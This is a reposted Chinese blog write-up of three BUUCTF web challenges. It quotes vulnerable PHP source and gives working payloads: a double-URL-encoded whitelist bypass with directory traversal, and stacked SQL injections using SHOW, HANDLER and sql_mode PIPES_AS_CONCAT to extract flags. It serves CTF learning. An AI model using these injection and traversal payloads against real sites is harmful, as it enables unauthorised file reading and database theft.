BUUCTF_WEB_20200913
2021-01-02 08:31
YPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
标签:class loading 查找 highlight exp substr rman return inf
WEB-WarmUp
1.拿到题目F12,发现source.php
在地址后缀加上sourse.php查看php源代码http://2995d695-d04a-469d-874a-abe960aa7080.node3.buuoj.cn/source.php
"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can‘t see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . ‘?‘, ‘?‘)
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . ‘?‘, ‘?‘)
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can‘t see it";
return false;
}
}
if (! empty($_REQUEST[‘file‘])
&& is_string($_REQUEST[‘file‘])
&& emmm::checkFile($_REQUEST[‘file‘])
) {
include $_REQUEST[‘file‘];
exit;
} else {
echo "
";
}
?>
2.分析代码
发现hint.php进入查看
根据提示flag应该在ffffllllaaaagggg中
通过观察代码,发现是白名单验证,文件包含只能包含source.php和hint.php
! (! empty($_REQUEST[‘file‘])
&& is_string($_REQUEST[‘file‘])
&& emmm::checkFile($_REQUEST[‘file‘])
此处满足三个条件才能包含 :1、file不能为空;2、file必须是字符串;3、必须通过checkfile()验证
接下来分析checkfile()函数:
首先设置一个白名单,只包含source.php和hint.php,第一个if检查是否存在$page并且是否为字符串。
只包含source.php和hint.php,第一个if检查是否存在$page并且是否为字符串。
检查$page是否在白名单中,是的话返回true。接下来,两个函数一个mb_substr和mb_strpos,总的意思就是截取变量page中?前面的字符串,然后再进行白名单校验。
考虑了URL编码的缘故,再一次解码之后,进行校验
- mb_substr:返回字符串的一部分
- mb_strpos:返回要查找的字符串在别一个字符串中首次出现的位置
分析完代码后就可以开始构造payload了,传递一个参数file=hint.php?/../../../../../../ffffllllaaaagggg,目录穿越,当然还要把?进行两次url编码,所以最后的payload为file=hint.php%253f/../../../../../../ffffllllaaaagggg,首先,第一次验证肯定过不了,第二次截取完也过不了,第三次,经过url解码之后,我们构造的payload就变成了index.php?file=hint.php?/../../../../ffffllllaaaagggg,很显然,它是截取?前面的进行校验,我们这的source.php在白名单中,所以返回true,最后通过目录穿越的到ffffllllaaaagggg里面的内容,也就是flag。
flag
flag{723f5d47-ebfd-4214-ab8a-14c1d3e7ff98}
(ps:此处本人存在小疑问,为什么构造payload中不是source.php而是index.php,最后构造成index.php才能出现flag,若有师傅知道原因,望告知!!)
WEB-easy_sql
1.拿到题目首先分别尝试1,2,3
输入1返回:
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
输入2返回
array(2) {
[0]=>
string(1) "2"
[1]=>
string(12) "miaomiaomiao"
}
接着输入3返回空,此处划重点!!,一会回头再看
老规矩使用F12先瞅一下
这里说到sqlmap是木有灵魂的,所以应该要考察大家的手注能力,但是可以sqlmap先跑一下
可以确定存在布尔型的盲注
首先尝试inject = 1‘返回:error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘‘1‘‘‘ at line 1
接着输入inject=1‘--+发现被过滤掉了,在输入 union select * from users where id = 2 --+ 返回return preg_match("/select|update|delete|drop|insert|where|./i",$inject);
发现上面的关键字都被过滤不能使用了,没法进行注入,这个时候尝试一下堆叠注入
输入inject=1‘;show databases查询所有数据库返回:
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
array(1) {
[0]=>
string(11) "ctftraining"
}
array(1) {
[0]=>
string(18) "information_schema"
}
array(1) {
[0]=>
string(5) "mysql"
}
array(1) {
[0]=>
string(18) "performance_schema"
}
array(1) {
[0]=>
string(9) "supersqli"
}
array(1) {
[0]=>
string(4) "test"
}
输入inject = 1‘;show tables;返回:
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
array(1) {
[0]=>
string(16) "1919810931114514"
}
array(1) {
[0]=>
string(5) "words"
}
输入inject = 1‘;show columns from words;返回:
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
array(6) {
[0]=>
string(2) "id"
[1]=>
string(7) "int(10)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
array(6) {
[0]=>
string(4) "data"
[1]=>
string(11) "varchar(20)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
输入inject = 1‘;show columns from 1919810931114514
;返回:
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
array(6) {
[0]=>
string(4) "flag"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
输入inject = 1‘;handler 1919810931114514
open;handler 1919810931114514
read first;(mysql查询语句-handler)返回:
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
array(1) {
[0]=>
string(42) "flag{38ff721f-07d1-4616-88ad-d06ded798adf}"
}
得到flag
flag
flag{38ff721f-07d1-4616-88ad-d06ded798adf}
WEB-easysql。
1.根据提示应该和sql注入有关,因为是post型,所以没有找到明显的注入点
尝试输入1返回Array ( [0] => 1 ) ,说实话还是做题做得少,没有任何头绪。。。。
看了大佬的wp,才知道是堆叠注入。。
输入语法1;show databases;返回Array ( [0] => 1 ) Array ( [0] => ctf ) Array ( [0] => ctftraining ) Array ( [0] => information_schema ) Array ( [0] => mysql ) Array ( [0] => performance_schema ) Array ( [0] => test ) 注出来数据库名
继续执行1;show tables;Array ( [0] => 1 ) Array ( [0] => Flag 看了flag有丝小激动!!
$v){
if(!empty($v)&&is_string($v)){
$post[$k] = trim(addslashes($v));
}
}
foreach ($_GET as $k=>$v){
if(!empty($v)&&is_string($v)){
$get[$k] = trim(addslashes($v));
}
}
//die();
?>
Give me your flag, I will tell you if the flag is right.
40){
die("Too long.");
}
$sql = "select ".$post[‘query‘]."||flag from Flag";
//sql执行语句
mysqli_multi_query($MysqlLink,$sql);
do{
if($res = mysqli_store_result($MysqlLink)){
while($row = mysqli_fetch_row($res)){
print_r($row);
}
}
}while(@mysqli_next_result($MysqlLink));
}
?>
根据$sql = "select ".$post[‘query‘]."||flag from Flag"构造payload
- 解法1:
(此处难点,修改管道符,||在此处起连接作用,管道符) - 当 sql_mode 设置了 PIPES_AS_CONCAT 时,|| 就是字符串连接符,相当于CONCAT() 函数
- 当 sql_mode 没有设置 PIPES_AS_CONCAT 时 (默认没有设置),|| 就是逻辑或,相当于OR函数
构造payload:1;set sql_mode=PIPES_AS_CONCAT;select 1 返回:Array ( [0] => 1 ) Array ( [0] => 1flag{36877220-40ea-4fee-a699-eb5075de7cc7} )
得到flag - 解法2:
根据我的思路 $sql = "select ".$post[‘query‘]."||flag from Flag";可从这句话构造查询
输入1,1,1,1 返回:Array ( [0] => 1 [1] => 1 [2] => 1 [3] => 1 ) ,selelct 1 from ..., 对应所有行当输入1时返回的所有值都是1
输入*,1,返回:Array ( [0] => flag{36877220-40ea-4fee-a699-eb5075de7cc7} [1] => 1 )
得到flag
flag
flag{36877220-40ea-4fee-a699-eb5075de7cc7}
BUUCTF_WEB_20200913
标签:class loading 查找 highlight exp substr rman return inf
原文地址:https://www.cnblogs.com/Dr-STranger/p/13662749.html
上一篇:linux(centos)下为php添加添加GD扩展
下一篇:Web前端笔试整理6
文章标题:BUUCTF_WEB_20200913
文章链接:http://soscw.com/index.php/essay/39538.html